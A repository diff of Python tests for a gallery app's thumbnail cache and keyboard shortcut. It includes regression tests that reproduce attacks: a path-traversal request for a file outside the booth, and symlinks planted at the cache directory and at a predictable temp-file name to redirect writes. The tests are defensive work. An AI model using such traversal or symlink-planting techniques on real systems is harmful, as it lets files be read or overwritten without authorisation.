body = c.get("/b/hollow/").text
|
||||
assert "This booth is empty" in body
|
||||
assert 'class="rail"' not in body
|
||||
|
||||
|
||||
def test_the_keyboard_flag_targets_a_real_button(gallery):
|
||||
"""HULDA: the `f` handler selected `.flagbtn, [name="target"]`. No element
|
||||
in this repo has ever had class `flagbtn`, so it fell through to the HIDDEN
|
||||
target input — and clicking a hidden input does not submit its form. The
|
||||
shortcut has never worked, while still calling preventDefault and
|
||||
swallowing the keystroke.
|
||||
|
||||
Asserted against the markup the macro actually emits."""
|
||||
import re
|
||||
c, _ = gallery
|
||||
body = c.get("/b/g/").text
|
||||
assert 'class="flagtoggle' in body, "the flag form is not what this thinks"
|
||||
|
||||
# THE SELECTOR ITSELF, not the whole page — the first version asserted
|
||||
# `"flagbtn" not in body` and went red on the code COMMENT explaining the
|
||||
# bug. An assertion that cannot tell markup from prose about markup is not
|
||||
# asserting about markup.
|
||||
sel = re.search(r"case 'f': click\((.*?)\);", body)
|
||||
assert sel, "the `f` handler is gone"
|
||||
assert "flagbtn" not in sel.group(1), "the selector names a class nothing emits"
|
||||
assert ".flagtoggle button" in sel.group(1), \
|
||||
"the key handler must click the flag form's real submit button"
|
||||
@@ -0,0 +1,376 @@
|
||||
"""Thumbnails — the fix for a gallery that shipped 77 MB to render 250px tiles.
|
||||
|
||||
The operator found this in about a minute of using the live Desk. ROADMAP had
|
||||
parked it on "the largest gallery is 66 images", which counted IMAGES and never
|
||||
weighed BYTES; 66 is a fine count sitting on a terrible payload.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import io
|
||||
import pathlib
|
||||
import sys
|
||||
|
||||
import pytest
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
|
||||
from booth.app import create_app # noqa: E402
|
||||
from booth.items import booth_items # noqa: E402
|
||||
from booth.thumbs import ( # noqa: E402
|
||||
THUMB_DIR,
|
||||
THUMB_HEIGHT_MAX,
|
||||
THUMB_LIGHT_BYTES,
|
||||
THUMB_WIDTH,
|
||||
ensure_thumb,
|
||||
thumb_path,
|
||||
wants_thumb,
|
||||
)
|
||||
|
||||
PIL = pytest.importorskip("PIL.Image", reason="Pillow is not installed")
|
||||
|
||||
|
||||
def _img(path: pathlib.Path, w: int, h: int, fmt="PNG"):
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
PIL.new("RGB", (w, h), (120, 30, 90)).save(path, fmt)
|
||||
return path
|
||||
|
||||
|
||||
def test_a_big_image_gets_a_much_smaller_thumbnail(tmp_path):
|
||||
"""The whole point, asserted in BYTES rather than in existence — a thumbnail
|
||||
that is not dramatically smaller has not fixed anything."""
|
||||
b = tmp_path / "g"
|
||||
src = _img(b / "big.png", 1024, 1024)
|
||||
out = ensure_thumb(b, "big.png")
|
||||
assert out is not None and out.is_file()
|
||||
w, h = PIL.open(out).size
|
||||
assert w <= THUMB_WIDTH and h <= THUMB_HEIGHT_MAX
|
||||
assert out.stat().st_size * 4 < src.stat().st_size, (
|
||||
f"thumb {out.stat().st_size}B vs source {src.stat().st_size}B — not worth the cache"
|
||||
)
|
||||
|
||||
|
||||
def test_an_already_small_image_gets_no_thumbnail(tmp_path):
|
||||
"""Serving the original is correct when it is already tile-sized AND already
|
||||
light. A cache entry that saves nothing is pure cost.
|
||||
|
||||
Defeating change: generating unconditionally."""
|
||||
b = tmp_path / "g"
|
||||
_img(b / "small.png", 200, 200)
|
||||
assert ensure_thumb(b, "small.png") is None
|
||||
|
||||
|
||||
def test_the_cache_lives_inside_the_booth_and_is_invisible(tmp_path):
|
||||
"""`.thumbs/` is inside the booth so it is swept with it — a cache that
|
||||
outlives what it describes is a leak. And it must not become gallery items
|
||||
or zip entries: both skip every dot-prefixed path COMPONENT, which they did
|
||||
not do until this module needed them to."""
|
||||
import zipfile
|
||||
|
||||
from booth.app import zip_booth
|
||||
|
||||
b = tmp_path / "g"
|
||||
_img(b / "big.png", 1024, 1024)
|
||||
ensure_thumb(b, "big.png")
|
||||
assert (b / THUMB_DIR).is_dir(), "the cache is not inside the booth"
|
||||
assert [i.rel for i in booth_items(b)] == ["big.png"]
|
||||
assert zipfile.ZipFile(io.BytesIO(zip_booth(b))).namelist() == ["big.png"]
|
||||
|
||||
|
||||
def test_a_damaged_image_costs_its_own_tile_not_the_page(tmp_path):
|
||||
"""NEVER RAISES. A thumbnail is an optimisation; a page that will not load
|
||||
is worse than one that loads slowly.
|
||||
|
||||
Defeating change: letting the Pillow exception out."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
(b / "lies.png").write_bytes(b"\x89PNG\r\n\x1a\n" + b"not an image at all" * 20)
|
||||
assert ensure_thumb(b, "lies.png") is None
|
||||
|
||||
|
||||
def test_a_stale_thumbnail_is_rebuilt(tmp_path):
|
||||
"""Editing a file in place must not leave the old thumbnail forever."""
|
||||
import os
|
||||
|
||||
b = tmp_path / "g"
|
||||
_img(b / "x.png", 1024, 1024)
|
||||
first = ensure_thumb(b, "x.png")
|
||||
before = first.stat().st_mtime_ns
|
||||
_img(b / "x.png", 900, 900)
|
||||
os.utime(b / "x.png", None)
|
||||
again = ensure_thumb(b, "x.png")
|
||||
assert again.stat().st_mtime_ns != before, "the stale thumbnail survived an edit"
|
||||
|
||||
|
||||
def test_only_thumbable_types_are_candidates():
|
||||
"""SVG is vector and Pillow cannot read it; a video is not an image."""
|
||||
assert wants_thumb("a.png") and wants_thumb("A.JPG") and wants_thumb("a.webp")
|
||||
assert not wants_thumb("a.svg") and not wants_thumb("a.webm") and not wants_thumb("a.txt")
|
||||
|
||||
|
||||
def test_the_item_record_carries_the_thumb_url(tmp_path):
|
||||
"""INV-1: the resolver decides whether an item has a thumbnail. No template
|
||||
appends `?thumb=1` by reasoning about `kind` itself."""
|
||||
b = tmp_path / "g"
|
||||
_img(b / "big.png", 1024, 1024)
|
||||
_img(b / "vec.svg", 10, 10) if False else (b / "vec.svg").write_text("<svg/>")
|
||||
by = {i.rel: i for i in booth_items(b)}
|
||||
assert by["big.png"].thumb == "big.png?thumb=1"
|
||||
assert by["vec.svg"].thumb is None
|
||||
|
||||
|
||||
def test_the_route_serves_the_thumbnail_and_the_original(tmp_path):
|
||||
"""?thumb=1 rides the EXISTING file route, so it inherits that route's
|
||||
traversal guard rather than growing a second one."""
|
||||
b = tmp_path / "g"
|
||||
src = _img(b / "big.png", 1024, 1024)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
|
||||
full = c.get("/b/g/big.png")
|
||||
thumb = c.get("/b/g/big.png?thumb=1")
|
||||
assert full.status_code == thumb.status_code == 200
|
||||
assert len(thumb.content) * 4 < len(full.content), "the route served the full image"
|
||||
assert len(full.content) == src.stat().st_size
|
||||
|
||||
|
||||
def test_the_gallery_tile_requests_the_thumbnail(tmp_path):
|
||||
"""The operator's actual complaint: the grid pulled full-resolution files."""
|
||||
b = tmp_path / "g"
|
||||
for n in ("a.png", "b.png"):
|
||||
_img(b / n, 1024, 1024)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
html = c.get("/b/g/").text
|
||||
assert 'src="a.png?thumb=1"' in html, "the tile still asks for the full image"
|
||||
|
||||
|
||||
def test_a_thumb_request_for_a_traversal_path_is_still_refused(tmp_path):
|
||||
"""The guard is the file route's, and it must not be weakened by the new
|
||||
query parameter."""
|
||||
b = tmp_path / "g"
|
||||
_img(b / "big.png", 1024, 1024)
|
||||
(tmp_path / "secret.txt").write_text("nope")
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
assert c.get("/b/g/../secret.txt?thumb=1").status_code in (404, 400)
|
||||
|
||||
|
||||
def test_the_filmstrip_and_tray_use_thumbnails_but_the_stage_does_not(tmp_path):
|
||||
"""The same 77 MB in a different place. The filmstrip shows EVERY ring item
|
||||
at a few dozen pixels, so full-resolution frames there are worse than the
|
||||
grid was — while the stage is the full-size review and must stay full size.
|
||||
|
||||
Defeating change: `x.url` in the filmstrip, or `it.thumb` on the stage."""
|
||||
b = tmp_path / "g"
|
||||
for n in ("a.png", "b.png", "c.png"):
|
||||
_img(b / n, 1024, 1024)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
html = c.get("/b/g/view?f=a.png").text
|
||||
|
||||
assert 'id="vimg" src="a.png"' in html, "the stage must serve the full image"
|
||||
assert 'src="b.png?thumb=1"' in html, "the filmstrip still pulls full images"
|
||||
assert 'src="b.png"' not in html.replace('src="b.png?thumb=1"', ""), \
|
||||
"a full-size frame survived in the strip"
|
||||
|
||||
|
||||
def test_the_desk_preview_strip_uses_thumbnails(tmp_path):
|
||||
"""The heaviest surface in the service, on the page he opens FIRST: four
|
||||
small images per booth, across every booth. design-dev measured 28
|
||||
originals / 24.1 MB on a 12-booth copy; live has 28 booths.
|
||||
|
||||
Defeating change: `it.url` in the preview tuple."""
|
||||
for name in ("one", "two"):
|
||||
b = tmp_path / name
|
||||
for n in ("a.png", "b.png"):
|
||||
_img(b / n, 1024, 1024)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
html = c.get("/").text
|
||||
assert 'src="/b/one/a.png?thumb=1"' in html, "the Desk strip still pulls full images"
|
||||
assert 'src="/b/one/a.png"' not in html
|
||||
|
||||
|
||||
# ---- sized for the tile's WIDTH, at 2x density ---------------------------------
|
||||
#
|
||||
# The operator, on sindra-nude-final: "the images look blurry until they're
|
||||
# selected and blown up". The cap was 512 on the LONGEST side, but a tile is sized
|
||||
# by its WIDTH, so a 704x1408 portrait got a 256px-wide thumbnail stretched into
|
||||
# a 361px tile: 1.4x at 1x density, 2.8x on a 2x screen.
|
||||
|
||||
|
||||
def _noise(path: pathlib.Path, w: int, h: int):
|
||||
"""A photographic-weight image: incompressible, so its bytes are realistic.
|
||||
A flat colour compresses to almost nothing and would take the light path."""
|
||||
import os
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
PIL.frombytes("RGB", (w, h), os.urandom(w * h * 3)).save(path, "PNG")
|
||||
return path
|
||||
|
||||
|
||||
def test_a_portrait_keeps_its_full_width(tmp_path):
|
||||
"""Defeating change: bounding the longest side, which gave this image 256px
|
||||
of width for a tile that shows 361."""
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
out = ensure_thumb(b, "p.png")
|
||||
assert out is not None
|
||||
assert PIL.open(out).size == (704, 1408)
|
||||
|
||||
|
||||
def test_a_wide_image_is_bounded_by_width(tmp_path):
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "w.png", 2048, 1024)
|
||||
out = ensure_thumb(b, "w.png")
|
||||
assert PIL.open(out).size == (THUMB_WIDTH, THUMB_WIDTH // 2)
|
||||
|
||||
|
||||
def test_a_tile_width_image_that_is_heavy_still_gets_a_thumbnail(tmp_path):
|
||||
"""Fitting the tile in PIXELS is not being light in BYTES: a 704x1408 PNG is
|
||||
about a megabyte, and serving it as its own thumbnail would undo the cache.
|
||||
Defeating change: skipping every image that fits the bounds."""
|
||||
b = tmp_path / "g"
|
||||
src = _noise(b / "p.png", 704, 1408)
|
||||
assert src.stat().st_size > THUMB_LIGHT_BYTES
|
||||
out = ensure_thumb(b, "p.png")
|
||||
assert out is not None and out.stat().st_size < src.stat().st_size
|
||||
|
||||
|
||||
def test_an_extremely_tall_image_is_bounded_by_height_too(tmp_path):
|
||||
"""Width alone would let a long screenshot through at full height."""
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "t.png", 300, THUMB_HEIGHT_MAX * 2)
|
||||
w, h = PIL.open(ensure_thumb(b, "t.png")).size
|
||||
assert h <= THUMB_HEIGHT_MAX and w <= 150
|
||||
|
||||
|
||||
def test_an_animated_gif_that_fits_is_served_as_itself(tmp_path):
|
||||
"""A thumbnail is one frame. A heavy GIF that already fits the tile used to
|
||||
be served whole (it was under the old cap) and must stay animated.
|
||||
Defeating change: dropping the animation guard on the fits-but-heavy path."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
frames = [PIL.frombytes("RGB", (300, 300), os.urandom(300 * 300 * 3)) for _ in range(3)]
|
||||
frames[0].save(b / "a.gif", save_all=True, append_images=frames[1:])
|
||||
assert (b / "a.gif").stat().st_size > THUMB_LIGHT_BYTES
|
||||
assert ensure_thumb(b, "a.gif") is None
|
||||
|
||||
|
||||
def test_a_thumbnail_cut_to_the_old_rule_is_not_served(tmp_path):
|
||||
"""The live booths hold 512-cap thumbnails that are NEWER than their
|
||||
sources, so the mtime check alone would serve them forever. The size rule
|
||||
is in the cache name, so a thumbnail cut to another rule is simply not
|
||||
found. Defeating change: an unversioned cache name."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
legacy = b / THUMB_DIR / "p.png.webp"
|
||||
legacy.parent.mkdir(parents=True)
|
||||
PIL.new("RGB", (256, 512)).save(legacy, "WEBP")
|
||||
os.utime(legacy, None)
|
||||
out = ensure_thumb(b, "p.png")
|
||||
assert out == thumb_path(b, "p.png") and out != legacy
|
||||
assert PIL.open(out).size == (704, 1408)
|
||||
|
||||
|
||||
# ---- the heid bug-hunt on this change (4/4 arms), folded ------------------------
|
||||
#
|
||||
# The cache sits in a directory any fleet session can write into, so every entry
|
||||
# on the way to it may be planted. The new size rules only governed cache MISSES;
|
||||
# the hit path trusted a name and an mtime.
|
||||
|
||||
|
||||
def test_a_planted_directory_at_the_cache_path_is_not_served(tmp_path):
|
||||
"""4/4, seat-executed: a directory at the cache path, with a future mtime,
|
||||
was returned AS the thumbnail. Defeating change: a cache hit that checks
|
||||
only the mtime."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
out = thumb_path(b, "p.png")
|
||||
out.mkdir(parents=True)
|
||||
os.utime(out, (2e9, 2e9))
|
||||
got = ensure_thumb(b, "p.png")
|
||||
assert got is None or got.is_file()
|
||||
|
||||
|
||||
def test_a_source_replaced_with_an_older_mtime_is_rebuilt(tmp_path):
|
||||
"""kimi: `cp -p` or an archive extract keeps an OLDER mtime, and a cache
|
||||
newer than its source was served forever. The cache now carries its
|
||||
source's exact mtime, so any change is a miss. Defeating change: `>=`."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
first = ensure_thumb(b, "p.png")
|
||||
assert PIL.open(first).size == (704, 1408)
|
||||
_noise(b / "p.png", 1536, 768)
|
||||
os.utime(b / "p.png", (1e9, 1e9)) # an older stamp than the cache
|
||||
assert PIL.open(ensure_thumb(b, "p.png")).size == (THUMB_WIDTH, THUMB_WIDTH // 2)
|
||||
|
||||
|
||||
def test_a_symlinked_cache_dir_is_never_written_through(tmp_path):
|
||||
"""seat P4: `.thumbs` planted as a link to another directory put the cache
|
||||
outside the booth, beyond the sweep. Defeating change: `mkdir(parents=True)`,
|
||||
which follows an existing link."""
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
elsewhere = tmp_path / "elsewhere"
|
||||
elsewhere.mkdir()
|
||||
(b / THUMB_DIR).symlink_to(elsewhere)
|
||||
assert ensure_thumb(b, "p.png") is None
|
||||
assert list(elsewhere.iterdir()) == []
|
||||
|
||||
|
||||
def test_a_planted_link_at_the_old_temp_name_cannot_redirect_the_write(tmp_path):
|
||||
"""groa, seat P5: the temp name was `<out>.<pid>.tmp`, predictable, so a
|
||||
link planted there made the encoder truncate and overwrite its target
|
||||
(600 B -> 316,400 B). Defeating change: any predictable temp name."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
victim = tmp_path / "victim.txt"
|
||||
victim.write_text("untouched")
|
||||
out = thumb_path(b, "p.png")
|
||||
out.parent.mkdir(parents=True)
|
||||
(out.parent / (out.name + f".{os.getpid()}.tmp")).symlink_to(victim)
|
||||
ensure_thumb(b, "p.png")
|
||||
assert victim.read_text() == "untouched"
|
||||
|
||||
|
||||
def test_palette_transparency_survives_the_thumbnail(tmp_path):
|
||||
"""3/4, seat-executed, and INTRODUCED by this change: the fits-but-heavy
|
||||
branch newly re-encodes palette PNGs, and `getbands()` of mode P has no A
|
||||
even with a tRNS chunk, so transparency became opaque. Defeating change:
|
||||
choosing RGBA by `getbands()` alone."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
im = PIL.frombytes("P", (400, 400), os.urandom(400 * 400))
|
||||
im.putpalette(os.urandom(768))
|
||||
im.save(b / "p.png", "PNG", transparency=0)
|
||||
assert (b / "p.png").stat().st_size > THUMB_LIGHT_BYTES
|
||||
t = PIL.open(ensure_thumb(b, "p.png"))
|
||||
assert t.mode == "RGBA" and t.getchannel("A").getextrema()[0] == 0
|
||||
|
||||
|
||||
def test_a_camera_portrait_is_sized_and_saved_upright(tmp_path):
|
||||
"""groa, seat-verified: EXIF orientation was ignored, so a portrait shot
|
||||
stored sideways was sized as a landscape and tiled sideways. Defeating
|
||||
change: sizing the raw pixels without `exif_transpose`."""
|
||||
import os
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
exif = PIL.Exif()
|
||||
exif[0x0112] = 6 # rotate 90 CW to display
|
||||
PIL.frombytes("RGB", (1200, 800), os.urandom(1200 * 800 * 3)).save(
|
||||
b / "cam.jpg", "JPEG", exif=exif, quality=95)
|
||||
assert PIL.open(ensure_thumb(b, "cam.jpg")).size == (THUMB_WIDTH, 1152)
|
||||
|
||||
|
||||
def test_an_image_past_the_pixel_budget_is_never_decoded(tmp_path, monkeypatch):
|
||||
"""2/4: the header is free to read and `thumbnail()` then decodes whatever it
|
||||
claims, on every request, since a failure is not cached. Over the budget,
|
||||
the original is served instead. Defeating change: no budget check."""
|
||||
import booth.thumbs as thumbs
|
||||
b = tmp_path / "g"
|
||||
_noise(b / "p.png", 704, 1408)
|
||||
monkeypatch.setattr(thumbs, "THUMB_MAX_PIXELS", 704 * 1408 - 1)
|
||||
assert ensure_thumb(b, "p.png") is None
|
||||
@@ -0,0 +1,50 @@
|
||||
"""Thumbnails against the tile they are drawn into, in a real browser.
|
||||
|
||||
`THUMB_WIDTH` is derived from a LAYOUT number: the widest gallery tile on the
|
||||
desktop grid, doubled for a 2x screen. A Python test cannot see a CSS width, so
|
||||
without this file the constant and the grid could drift apart silently, which
|
||||
is how the tiles went soft in the first place. If the grid widens its tiles,
|
||||
this goes red and the constant is revisited, rather than the operator finding
|
||||
it by eye.
|
||||
|
||||
Scoped to the desktop layout (3 columns, 1440px and up), which is where tiles
|
||||
are measured at 321-361 CSS px. Narrower windows reflow to 2 columns (up to
|
||||
472 px) or 1 (up to 650 px): at 2x density those are softer than this bound
|
||||
covers, and that is a known limit, not a defect this file asserts against.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
|
||||
import pytest
|
||||
|
||||
from test_embed_browser import browser, live # noqa: F401 (fixtures)
|
||||
from booth.thumbs import THUMB_WIDTH
|
||||
|
||||
PIL = pytest.importorskip("PIL.Image", reason="Pillow is not installed")
|
||||
|
||||
|
||||
@pytest.mark.parametrize("viewport", [(1440, 900), (1920, 1080), (2560, 1440)])
|
||||
def test_a_thumbnail_covers_its_tile_at_2x_density(browser, live, viewport): # noqa: F811
|
||||
base, root = live
|
||||
b = root / "g"
|
||||
b.mkdir()
|
||||
for n in ("a.png", "b.png", "c.png"):
|
||||
PIL.frombytes("RGB", (1024, 1024), os.urandom(1024 * 1024 * 3)).save(b / n, "PNG")
|
||||
pg = browser.new_page(viewport={"width": viewport[0], "height": viewport[1]})
|
||||
try:
|
||||
pg.goto(f"{base}/b/g/", wait_until="load")
|
||||
pg.wait_for_function(
|
||||
"Array.from(document.querySelectorAll('.gallery .item img'))"
|
||||
".every(i => i.complete && i.naturalWidth)", timeout=15000)
|
||||
tiles = pg.evaluate(
|
||||
"Array.from(document.querySelectorAll('.gallery .item img'))"
|
||||
".map(i => [i.currentSrc, i.clientWidth, i.naturalWidth])")
|
||||
finally:
|
||||
pg.close()
|
||||
assert tiles, "no gallery tiles rendered"
|
||||
for src, shown, natural in tiles:
|
||||
assert "thumb=1" in src, f"{src} is not the thumbnail"
|
||||
assert natural >= 2 * shown, (
|
||||
f"{src}: a {shown}px tile needs {2 * shown}px at 2x, the thumbnail has {natural}px"
|
||||
f" (THUMB_WIDTH={THUMB_WIDTH})")
|
||||
Reference in New Issue
Block a user